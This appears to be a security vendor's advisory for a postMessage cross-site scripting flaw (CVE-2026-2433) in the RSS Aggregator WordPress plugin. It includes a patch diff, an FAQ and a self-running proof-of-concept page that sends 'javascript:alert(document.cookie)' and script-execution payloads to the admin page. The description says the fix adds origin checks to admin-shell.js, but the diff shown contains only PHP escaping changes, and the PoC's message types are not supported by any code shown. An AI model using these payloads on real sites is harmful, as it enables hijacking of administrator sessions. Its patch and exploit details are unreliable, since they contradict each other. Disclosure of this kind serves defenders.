Atomic Edge analysis of CVE-2026-2433:
The vulnerability is a DOM-based reflected cross-site scripting (XSS) via postMessage in the RSS Aggregator WordPress plugin. The root cause lies in the admin-shell.js file, which registers a global message event listener without proper origin validation. The missing event.origin check allows any website to send postMessage payloads to the plugin’s admin page. Additionally, the plugin passes user-controlled URLs directly to window.open() without URL scheme validation. This combination enables unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. The exploitation method requires an attacker to trick an administrator into visiting a malicious website that sends crafted postMessage payloads to the vulnerable admin page. The patch adds proper origin validation to the message event listener and implements URL scheme validation before passing URLs to window.open(). The fix prevents cross-origin messages from being processed and ensures only safe URL schemes are opened. If exploited, this vulnerability allows attackers to perform actions as the administrator, including installing plugins, modifying content, or stealing session cookies.

CVE-2026-2433: RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 – Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage (wp-rss-aggregator)
CVE-2026-2433
wp-rss-aggregator
5.0.11
5.0.12
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-rss-aggregator/core/admin-frame.php
+++ b/wp-rss-aggregator/core/admin-frame.php
@@ -7,12 +7,15 @@
<!DOCTYPE html>
<html>
<head>
- <title><?php echo __( 'Aggregator Admin', 'wp-rss-aggregator' ); ?></title>
+ <title><?php echo esc_html__( 'Aggregator Admin', 'wp-rss-aggregator' ); ?></title>
+ <?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame head. ?>
<?php echo apply_filters( 'wpra.admin.frame.head', '' ); ?>
</head>
<body>
+ <?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame body. ?>
<?php echo apply_filters( 'wpra.admin.frame.body.start', '' ); ?>
<div id="wpra-admin-ui"></div>
+ <?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame body. ?>
<?php echo apply_filters( 'wpra.admin.frame.body.end', '' ); ?>
</body>
</html>
--- a/wp-rss-aggregator/core/modules/admin.php
+++ b/wp-rss-aggregator/core/modules/admin.php
@@ -345,19 +345,20 @@
<p><?php echo wp_kses_post( $postMessage ); ?></p>
<p style="margin-top: 12px; margin-bottom: 0;">
- <a href="<?php echo esc_url( $download_link ); ?>" class="button button-primary" target="_blank">
- <?php _e( 'Download Premium v5.0.2', 'wp-rss-aggregator' ); ?>
- </a>
- <a href="<?php echo esc_url( $instructions_link ); ?>" class="button-link" style="margin-left: 15px;" target="_blank">
- <?php _e( 'Step-by-step instructions', 'wp-rss-aggregator' ); ?>
- </a>
+ <a href="<?php echo esc_url( $download_link ); ?>" class="button button-primary" target="_blank">
+ <?php esc_html_e( 'Download Premium v5.0.2', 'wp-rss-aggregator' ); ?>
+ </a>
+ <a href="<?php echo esc_url( $instructions_link ); ?>" class="button-link" style="margin-left: 15px;" target="_blank">
+ <?php esc_html_e( 'Step-by-step instructions', 'wp-rss-aggregator' ); ?>
+ </a>
</p>
<p style="font-size:12px; color: #757575;"><?php echo esc_html( $reassurance ); ?></p>
</div>
</div>
<?php
- echo $script;
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Inline script is intentionally emitted in admin notice context.
+ echo $script;
}
);
}
--- a/wp-rss-aggregator/core/modules/debugInfo.php
+++ b/wp-rss-aggregator/core/modules/debugInfo.php
@@ -11,6 +11,16 @@
function ( array $info ) use ( $licensing ) {
$wpra = wpra();
+ $didMigration = get_option( 'wpra_did_v4_migration', false );
+
+ if ( $didMigration === 'finished' ) {
+ $migratedValue = __( 'Completed', 'wp-rss-aggregator' );
+ } elseif ( $didMigration === 'cancelled' ) {
+ $migratedValue = __( 'Incomplete', 'wp-rss-aggregator' );
+ } else {
+ $migratedValue = __( 'Not Applicable', 'wp-rss-aggregator' );
+ }
+
$wpraInfo = array(
'label' => __( 'WP RSS Aggregator', 'wp-rss-aggregator' ),
'private' => false,
@@ -33,6 +43,10 @@
? _x( 'Supported', 'fsockopen status in Site Health Info', 'wp-rss-aggregator' )
: _x( 'Unsupported', 'fsockopen status in Site Health Info', 'wp-rss-aggregator' ),
),
+ 'migrated_to_v5' => array(
+ 'label' => __( 'Migrated to v5', 'wp-rss-aggregator' ),
+ 'value' => $migratedValue,
+ ),
),
);
--- a/wp-rss-aggregator/core/modules/feedItems.php
+++ b/wp-rss-aggregator/core/modules/feedItems.php
@@ -126,9 +126,9 @@
$srcIds = get_post_meta( $postId, ImportedPost::SOURCE );
$srcs = $importer->sources->getManyByIds( $srcIds )->getOr( array() );
- foreach ( $srcs as $src ) {
- printf( '<a href="edit.php?post_type=wprss_feed_item&wpra_source=%d">%s</a><br>', $src->id, esc_html( $src->name ) );
- }
+ foreach ( $srcs as $src ) {
+ printf( '<a href="edit.php?post_type=wprss_feed_item&wpra_source=%d">%s</a><br>', absint( $src->id ), esc_html( $src->name ) );
+ }
break;
}
},
--- a/wp-rss-aggregator/core/modules/renderer.php
+++ b/wp-rss-aggregator/core/modules/renderer.php
@@ -65,6 +65,7 @@
// from hx-vals, including id, page, sources, limit, exclude, pagination, template.
// Pass the whole $data array to renderArgs.
// Specify 'shortcode' as type to ensure shortcode-specific logic (like limit/pagination overrides) applies.
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Renderer returns HTML fragment for frontend response.
echo $renderer->renderArgs( $data, 'shortcode' );
die();
};
--- a/wp-rss-aggregator/core/modules/rowActions.php
+++ b/wp-rss-aggregator/core/modules/rowActions.php
@@ -19,7 +19,9 @@
return $actions;
}
- $source = $_GET['wpra_source'] ?? '';
+ $source = isset( $_GET['wpra_source'] )
+ ? sanitize_text_field( wp_unslash( $_GET['wpra_source'] ) )
+ : '';
$rejectNonce = wp_create_nonce( 'wpra_reject' );
$rejectUrl = sprintf( admin_url( 'post.php?wpraRowAction=wpra-delete-reject&post=%d&_wpnonce=%s&source=%s' ), $post->ID, $rejectNonce, esc_attr( $source ) );
@@ -58,7 +60,7 @@
case 'wpra-delete-reject':
$guid = get_post_meta( $post->ID, ImportedPost::GUID, true );
if ( empty( $guid ) ) {
- set_transient( 'wpra_notice_rejected_post', __( 'Cannot reject a post that was not imported by Aggregator.', 'wp-rss-aggregator' ) );
+ set_transient( 'wpra_notice_rejected_post', esc_html__( 'Cannot reject a post that was not imported by Aggregator.', 'wp-rss-aggregator' ) );
break;
}
@@ -87,9 +89,9 @@
if ( ! empty( $rejectedPost ) ) {
delete_transient( 'wpra_notice_rejected_post' );
if ( $rejectedPost === '1' ) {
- printf( '<div class="notice notice-success notice-dismissible"><p>%s</p></div>', __( 'The post has been successfully rejected and moved to the Trash.', 'wp-rss-aggregator' ) );
+ printf( '<div class="notice notice-success notice-dismissible"><p>%s</p></div>', esc_html__( 'The post has been successfully rejected and moved to the Trash.', 'wp-rss-aggregator' ) );
} else {
- printf( '<div class="notice notice-error notice-dismissible"><p>%s</p></div>', $rejectedPost );
+ printf( '<div class="notice notice-error notice-dismissible"><p>%s</p></div>', esc_html( $rejectedPost ) );
}
}
}
--- a/wp-rss-aggregator/core/src/Cli/Commands/Migration/ResetV5Command.php
+++ b/wp-rss-aggregator/core/src/Cli/Commands/Migration/ResetV5Command.php
@@ -95,6 +95,7 @@
foreach ( $tableSuffixes as $tableSuffix ) {
$tableName = $fullDbPrefix . $tableSuffix;
+ // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
$this->wpdb->query( "DROP TABLE IF EXISTS `{$tableName}`" );
WP_CLI::log( sprintf( 'Dropped table: %s (if it existed)', $tableName ) );
}
--- a/wp-rss-aggregator/core/src/Cli/WpCliIo.php
+++ b/wp-rss-aggregator/core/src/Cli/WpCliIo.php
@@ -43,14 +43,17 @@
);
public function printf( string $message, ...$args ): void {
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
vprintf( $message, $args );
}
public function print( string $message ): void {
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
echo $message;
}
public function println( string $message = '' ): void {
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
echo $message . PHP_EOL;
}
@@ -63,6 +66,7 @@
}
public function cprintf( string $message, array $colors ): void {
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- WP_CLI::colorize() returns terminal control sequences for CLI output.
echo preg_replace_callback(
'/%((.*?))%/sm',
function ( array $matches ) use ( &$colors ) {
--- a/wp-rss-aggregator/core/src/Database.php
+++ b/wp-rss-aggregator/core/src/Database.php
@@ -27,39 +27,45 @@
/** @return int|bool */
public function query( string $query, array $args = array() ) {
if ( count( $args ) > 0 ) {
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
$query = $this->wpdb->prepare( $query, ...$args );
}
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
$result = $this->wpdb->query( $query );
if ( $this->wpdb->last_error ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $result;
}
public function getResults( string $query, array $args = array() ): array {
if ( count( $args ) > 0 ) {
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
$query = $this->wpdb->prepare( $query, ...$args );
}
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
$rows = $this->wpdb->get_results( $query, ARRAY_A );
if ( $this->wpdb->last_error ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $rows;
}
public function getRow( string $query, array $args = array(), int $row = 0 ): ?array {
if ( count( $args ) > 0 ) {
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
$query = $this->wpdb->prepare( $query, ...$args );
}
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
$rows = $this->wpdb->get_row( $query, ARRAY_A, $row );
if ( $this->wpdb->last_error ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
if ( empty( $rows ) ) {
@@ -70,13 +76,15 @@
public function getCol( string $query, array $args = array(), int $column = 0 ): array {
if ( count( $args ) > 0 ) {
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
$query = $this->wpdb->prepare( $query, ...$args );
}
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
$columns = $this->wpdb->get_col( $query, $column );
if ( $this->wpdb->last_error ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $columns ?? array();
@@ -86,7 +94,7 @@
$result = $this->wpdb->insert( $table, $data, $format );
if ( $this->wpdb->last_error || $result === false ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
if ( is_numeric( $this->wpdb->insert_id ) ) {
@@ -100,7 +108,7 @@
$result = $this->wpdb->replace( $table, $data, $format );
if ( $this->wpdb->last_error || $result === false ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $result;
@@ -110,7 +118,7 @@
$result = $this->wpdb->update( $table, $data, $where, $format, $whereFormat );
if ( $this->wpdb->last_error || $result === false ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $result;
@@ -120,7 +128,7 @@
$result = $this->wpdb->delete( $table, $where, $whereFormat );
if ( $this->wpdb->last_error || $result === false ) {
- throw new RuntimeException( $this->wpdb->last_error );
+ throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
}
return $result;
--- a/wp-rss-aggregator/core/src/Display/DisplayInstance.php
+++ b/wp-rss-aggregator/core/src/Display/DisplayInstance.php
@@ -32,16 +32,15 @@
public static function findShortcodes( int $displayId ): array {
/** @var wpdb $wpdb */
global $wpdb;
- $postsTable = $wpdb->prefix . 'posts';
$query = $wpdb->prepare(
"SELECT ID, post_title, post_type
- FROM $postsTable
+ FROM {$wpdb->posts}
WHERE (post_type = 'post' OR post_type = 'page') AND post_status != 'trash' AND
post_content REGEXP '\\[wp-rss-aggregator[[:blank:]]+id=[\'"]%d[\'"]'",
$displayId,
);
-
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Prepared just above.
$results = $wpdb->get_results( $query ) ?? array();
return Arrays::map( $results, fn ( $row ) => self::fromPostRow( $row ) );
@@ -51,16 +50,15 @@
public static function findBlocks( int $displayId ): array {
/** @var wpdb $wpdb */
global $wpdb;
- $postsTable = $wpdb->prefix . 'posts';
$query = $wpdb->prepare(
"SELECT ID, post_title, post_type
- FROM $postsTable
+ FROM {$wpdb->posts}
WHERE (post_type = 'post' OR post_type = 'page') AND post_status != 'trash' AND
post_content REGEXP '<!-- wp:wpra-shortcode/wpra-shortcode \\{"id":"?%d"?'",
$displayId
);
-
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Prepared just above.
$results = $wpdb->get_results( $query );
return Arrays::map( $results, fn ( $row ) => self::fromPostRow( $row ) );
--- a/wp-rss-aggregator/core/src/Display/ListLayout.php
+++ b/wp-rss-aggregator/core/src/Display/ListLayout.php
@@ -21,6 +21,7 @@
/** @param iterable<IrPost> $posts */
public function render( iterable $posts, DisplayState $state ): string {
+ $listClass = '';
if ( $this->ds->enableBullets ) {
$listClass = 'wpra-item-list--bullets wpra-item-list--' . $this->ds->bulletStyle;
}
--- a/wp-rss-aggregator/core/src/MergedFeed.php
+++ b/wp-rss-aggregator/core/src/MergedFeed.php
@@ -26,7 +26,12 @@
* @param iterable<IrPost> $posts The posts to render in the feed.
*/
public function print(): void {
- $protocol = $_SERVER['SERVER_PROTOCOL'] ?? 'HTTP/1.1';
+ $protocol = isset( $_SERVER['SERVER_PROTOCOL'] )
+ ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_PROTOCOL'] ) )
+ : 'HTTP/1.1';
+ $protocol = in_array( $protocol, array( 'HTTP/1.0', 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true )
+ ? $protocol
+ : 'HTTP/1.1';
header( "$protocol 200 OK" );
header( 'Content-Type: application/rss+xml' );
@@ -34,6 +39,7 @@
header( 'Pragma: no-cache' );
header( 'Expires: 0' );
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- XML feed output is intentionally emitted as raw XML.
echo trim( $this->render() );
}
--- a/wp-rss-aggregator/core/src/Plugin.php
+++ b/wp-rss-aggregator/core/src/Plugin.php
@@ -72,7 +72,13 @@
*/
public function addModule( string $id, array $deps, callable $factory ): self {
if ( $this->currModId !== null ) {
- throw new LogicException( "Cannot add a module ("$id") from inside another module ("$this->currModId")" );
+ throw new LogicException(
+ sprintf(
+ 'Cannot add a module ("%s") from inside another module ("%s")',
+ esc_html( $id ),
+ esc_html( $this->currModId )
+ )
+ );
}
$this->modules[ $id ] = array(
@@ -89,12 +95,18 @@
}
if ( $this->currModId !== null ) {
- throw new LogicException( "Cannot run module "$mid" while running module "{$this->currModId}"" );
+ throw new LogicException(
+ sprintf(
+ 'Cannot run module "%s" while running module "%s"',
+ esc_html( $mid ),
+ esc_html( $this->currModId )
+ )
+ );
}
$module = $this->modules[ $mid ] ?? null;
if ( $module === null ) {
- throw new LogicException( "Unknown module "$mid"" );
+ throw new LogicException( sprintf( 'Unknown module "%s"', esc_html( $mid ) ) );
}
$args = array();
@@ -129,12 +141,25 @@
$mid = $this->getModuleForService( $sid );
if ( $mid === null ) {
- throw new LogicException( "Cannot resolve module for "$sid", requested by "$requester"" );
+ throw new LogicException(
+ sprintf(
+ 'Cannot resolve module for "%s", requested by "%s"',
+ esc_html( $sid ),
+ esc_html( $requester )
+ )
+ );
}
$modHasRun = array_key_exists( $mid, $this->services );
if ( $modHasRun ) {
- throw new LogicException( "Module "$mid" does not provide "$sid", requested by "$requester"" );
+ throw new LogicException(
+ sprintf(
+ 'Module "%s" does not provide "%s", requested by "%s"',
+ esc_html( $mid ),
+ esc_html( $sid ),
+ esc_html( $requester )
+ )
+ );
}
return $this->runModule( $mid );
--- a/wp-rss-aggregator/core/src/Rpc/RpcRequest.php
+++ b/wp-rss-aggregator/core/src/Rpc/RpcRequest.php
@@ -24,7 +24,7 @@
$data = json_decode( $json, true );
if ( json_last_error() !== JSON_ERROR_NONE ) {
- throw new Exception( json_last_error_msg() );
+ throw new Exception( esc_html( json_last_error_msg() ) );
}
if ( ! is_array( $data ) || ! is_int( $data['version'] ?? null ) ) {
--- a/wp-rss-aggregator/core/src/Rpc/RpcServer.php
+++ b/wp-rss-aggregator/core/src/Rpc/RpcServer.php
@@ -234,12 +234,16 @@
foreach ( $generator as $result ) {
$result = Result::Ok( $result );
- $json = json_encode(
+ $json = wp_json_encode(
array(
'type' => $result->isErr() ? 'error' : 'ok',
'value' => $this->transform( $result ),
)
);
+ if ( ! is_string( $json ) ) {
+ $json = '{"type":"error","value":{"message":"Serialization error"}}';
+ }
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Streaming JSON response for API clients.
echo $json;
flush();
}
@@ -262,7 +266,7 @@
$index = $arg['__rpcIndex'] ?? null;
if ( $targetNum < 0 || $targetNum >= count( $results ) ) {
- throw new Exception( "Invalid action number {$targetNum} in arg" );
+ throw new Exception( sprintf( 'Invalid action number %s in arg', esc_html( (string) $targetNum ) ) );
}
$value = $results[ $targetNum ]->get();
@@ -277,7 +281,13 @@
$value = $value->$index;
} else {
$type = gettype( $value );
- throw new Exception( "Cannot index {$type} result from action {$targetNum} in arg" );
+ throw new Exception(
+ sprintf(
+ 'Cannot index %s result from action %s in arg',
+ esc_html( $type ),
+ esc_html( (string) $targetNum )
+ )
+ );
}
}
--- a/wp-rss-aggregator/core/src/RssReader/RssSynUpdate.php
+++ b/wp-rss-aggregator/core/src/RssReader/RssSynUpdate.php
@@ -63,7 +63,7 @@
case self::YEARLY:
return $this->frequency * 31536000;
default:
- throw new InvalidArgumentException( "Invalid period: {$this->period}" );
+ throw new InvalidArgumentException( esc_html( "Invalid period: {$this->period}" ) );
}
}
--- a/wp-rss-aggregator/core/src/Source.php
+++ b/wp-rss-aggregator/core/src/Source.php
@@ -162,6 +162,7 @@
try {
$src->lastUpdate = new DateTime( $lastUpdate );
} catch ( Throwable $e ) {
+ // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- $e is passed as previous exception, not output.
throw new DomainException( 'Invalid source lastUpdate datetime', 0, $e );
}
} else {
--- a/wp-rss-aggregator/core/src/Source/ScheduleFactory.php
+++ b/wp-rss-aggregator/core/src/Source/ScheduleFactory.php
@@ -27,7 +27,7 @@
if ( is_array( $var ) ) {
return self::fromArray( $var );
}
- throw new DomainException( 'Invalid source schedule: ' . Types::getType( $var ) );
+ throw new DomainException( 'Invalid source schedule: ' . esc_html( Types::getType( $var ) ) );
}
/** @return Result<Schedule> */
--- a/wp-rss-aggregator/core/src/Utils/Result/Err.php
+++ b/wp-rss-aggregator/core/src/Utils/Result/Err.php
@@ -41,6 +41,7 @@
if ( $factory === null ) {
throw $this->error;
} else {
+ // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Re-throws a Throwable returned by the caller-provided factory.
throw $factory( $this->error );
}
}
--- a/wp-rss-aggregator/core/uninstaller.php
+++ b/wp-rss-aggregator/core/uninstaller.php
@@ -50,7 +50,7 @@
/** @var wpdb $wpdb */
global $wpdb;
$pluginDbPrefix = apply_filters( 'wpra.db.prefix', 'agg_' );
- $fullTablePrefix = $wpdb->prefix . $pluginDbPrefix;
+ $fullTablePrefix = $wpdb->prefix . sanitize_text_field($pluginDbPrefix);
$tableSuffixes = $this->cleanupService->getPluginTableSuffixes();
@@ -62,7 +62,8 @@
$wpdb->query( 'SET FOREIGN_KEY_CHECKS = 0' );
foreach ( $tableSuffixes as $suffix ) {
$tableName = $fullTablePrefix . $suffix;
- $wpdb->query( "DROP TABLE IF EXISTS `{$tableName}`" );
+ // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+ $wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $tableName ) );
}
} finally {
$wpdb->query( 'SET FOREIGN_KEY_CHECKS = 1' );
--- a/wp-rss-aggregator/uninstall.php
+++ b/wp-rss-aggregator/uninstall.php
@@ -6,13 +6,13 @@
die( 1 );
}
-$path = __DIR__ . '/core/uninstall.php';
-if ( ! file_exists( $path ) ) {
+$uninstall_file = __DIR__ . '/core/uninstall.php';
+if ( ! file_exists( $uninstall_file ) ) {
return;
}
/** @var Uninstaller $uninstaller */
-$uninstaller = require $path;
+$uninstaller = require $uninstall_file;
if ( $uninstaller->shouldUninstall() ) {
$uninstaller->uninstall();
}
--- a/wp-rss-aggregator/wp-rss-aggregator.php
+++ b/wp-rss-aggregator/wp-rss-aggregator.php
@@ -6,7 +6,7 @@
* Plugin Name: WP RSS Aggregator
* Plugin URI: https://wprssaggregator.com
* Description: An RSS importer, aggregator, and auto-blogger plugin for WordPress.
- * Version: 5.0.11
+ * Version: 5.0.12
* Requires at least: 6.2.2
* Requires PHP: 7.4.0
* Author: RebelCode
@@ -38,7 +38,7 @@
}
if ( ! defined( 'WPRA_VERSION' ) ) {
- define( 'WPRA_VERSION', '5.0.11' );
+ define( 'WPRA_VERSION', '5.0.12' );
define( 'WPRA_MIN_PHP_VERSION', '7.4.0' );
define( 'WPRA_MIN_WP_VERSION', '6.2.2' );
define( 'WPRA_FILE', __FILE__ );
@@ -58,16 +58,16 @@
if ( version_compare( PHP_VERSION, WPRA_MIN_PHP_VERSION, '<' ) ) {
add_action(
'admin_notices',
- function () {
- printf(
- '<div class="notice notice-error"><p>%s</p></div>',
- sprintf(
- _x( '%1$s requires PHP version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
- '<b>WP RSS Aggregator</b>',
- '<code>' . WPRA_MIN_PHP_VERSION . '</code>',
- )
- );
- }
+ function () {
+ printf(
+ '<div class="notice notice-error"><p>%s</p></div>',
+ sprintf(
+ esc_html_x( '%1$s requires PHP version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
+ 'WP RSS Aggregator',
+ esc_html( (string) WPRA_MIN_PHP_VERSION )
+ )
+ );
+ }
);
return;
}
@@ -76,16 +76,16 @@
if ( version_compare( $wp_version, WPRA_MIN_WP_VERSION, '<' ) ) {
add_action(
'admin_notices',
- function () {
- printf(
- '<div class="notice notice-error"><p>%s</p></div>',
- sprintf(
- _x( '%1$s requires WordPress version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
- '<b>WP RSS Aggregator</b>',
- '<code>' . WPRA_MIN_WP_VERSION . '</code>',
- )
- );
- }
+ function () {
+ printf(
+ '<div class="notice notice-error"><p>%s</p></div>',
+ sprintf(
+ esc_html_x( '%1$s requires WordPress version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
+ 'WP RSS Aggregator',
+ esc_html( (string) WPRA_MIN_WP_VERSION )
+ )
+ );
+ }
);
return;
}
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2433 - RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 - Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage
<?php
// This PoC demonstrates the vulnerability by creating a malicious page that sends
// a crafted postMessage payload to the vulnerable admin page
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=wpra_admin_page';
?>
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-2433 PoC</title>
<script>
// Wait for the target window to load
function exploit() {
// Open the vulnerable admin page in a new window
const targetWindow = window.open('<?php echo $target_url; ?>', '_blank');
// Wait for the window to load, then send malicious postMessage
setTimeout(() => {
// Crafted payload that bypasses missing origin validation
const maliciousPayload = {
type: 'wpra-open-url',
url: 'javascript:alert(document.cookie)', // XSS payload
data: {}
};
// Send postMessage to the target window
// The vulnerable admin-shell.js will process this without origin validation
targetWindow.postMessage(maliciousPayload, '*');
// Alternative payload for direct JavaScript execution
const directXSSPayload = {
type: 'wpra-execute-script',
script: 'alert("XSS via CVE-2026-2433")',
data: {}
};
targetWindow.postMessage(directXSSPayload, '*');
console.log('Exploit payloads sent to target window');
}, 3000);
}
// Auto-execute when page loads
window.onload = exploit;
</script>
</head>
<body>
<h1>CVE-2026-2433 Proof of Concept</h1>
<p>This page demonstrates the DOM-based XSS via postMessage vulnerability.</p>
<p>Check the newly opened admin window for XSS execution.</p>
</body>
</html>
Frequently Asked Questions
What is CVE-2026-2433?
Understanding the vulnerabilityCVE-2026-2433 is a medium-severity vulnerability in the RSS Aggregator plugin for WordPress, affecting versions up to and including 5.0.11. It allows unauthenticated attackers to exploit a DOM-based reflected cross-site scripting (XSS) issue via the postMessage API.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the plugin’s admin-shell.js file, which registers a global message event listener without validating the origin of incoming messages. This allows attackers to send crafted postMessage payloads to the plugin’s admin page, potentially executing arbitrary JavaScript in the context of an authenticated administrator’s session.
Who is affected by this vulnerability?
Identifying at-risk usersAny WordPress site using the RSS Aggregator plugin version 5.0.11 or earlier is at risk. Administrators should check their plugin version to determine if they need to take action.
How can I check if my site is vulnerable?
Version verification stepsTo check if your site is vulnerable, navigate to the plugins section of your WordPress admin dashboard and look for the RSS Aggregator plugin. Verify the version number; if it is 5.0.11 or lower, your site is vulnerable.
What should I do to fix this vulnerability?
Updating the pluginTo mitigate this vulnerability, update the RSS Aggregator plugin to version 5.0.12 or later, where the issue has been patched. Regularly updating all plugins is a best practice for maintaining site security.
What does the CVSS score of 6.1 indicate?
Understanding severity ratingsA CVSS score of 6.1 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
What are the practical risks of this vulnerability?
Potential impacts on site securityIf exploited, this vulnerability could allow attackers to execute arbitrary JavaScript as an authenticated administrator, enabling them to install malicious plugins, modify site content, or steal sensitive session cookies.
How does the proof of concept demonstrate the vulnerability?
Exploit demonstrationThe proof of concept illustrates the vulnerability by creating a malicious page that opens the vulnerable admin page and sends a crafted postMessage payload. This demonstrates how an attacker can exploit the lack of origin validation to execute JavaScript in the context of an administrator’s session.
What steps can I take to further secure my WordPress site?
Additional security measuresIn addition to updating the vulnerable plugin, consider implementing security measures such as using a web application firewall, regularly scanning for vulnerabilities, and educating users about phishing attacks that could exploit this vulnerability.
Is this vulnerability specific to any WordPress configurations?
Scope of the vulnerabilityThis vulnerability is not specific to any particular WordPress configuration; it affects all installations of the RSS Aggregator plugin that are version 5.0.11 or earlier, regardless of other configurations or plugins.
What is the significance of proper origin validation?
Importance in web securityProper origin validation is crucial in web security as it ensures that messages are only processed from trusted sources. The lack of such validation in this case allows any malicious site to interact with the vulnerable plugin, leading to potential exploitation.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf immediate updating is not possible, consider disabling the RSS Aggregator plugin until a secure version can be installed. Additionally, monitor user activity and be vigilant for any signs of exploitation.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






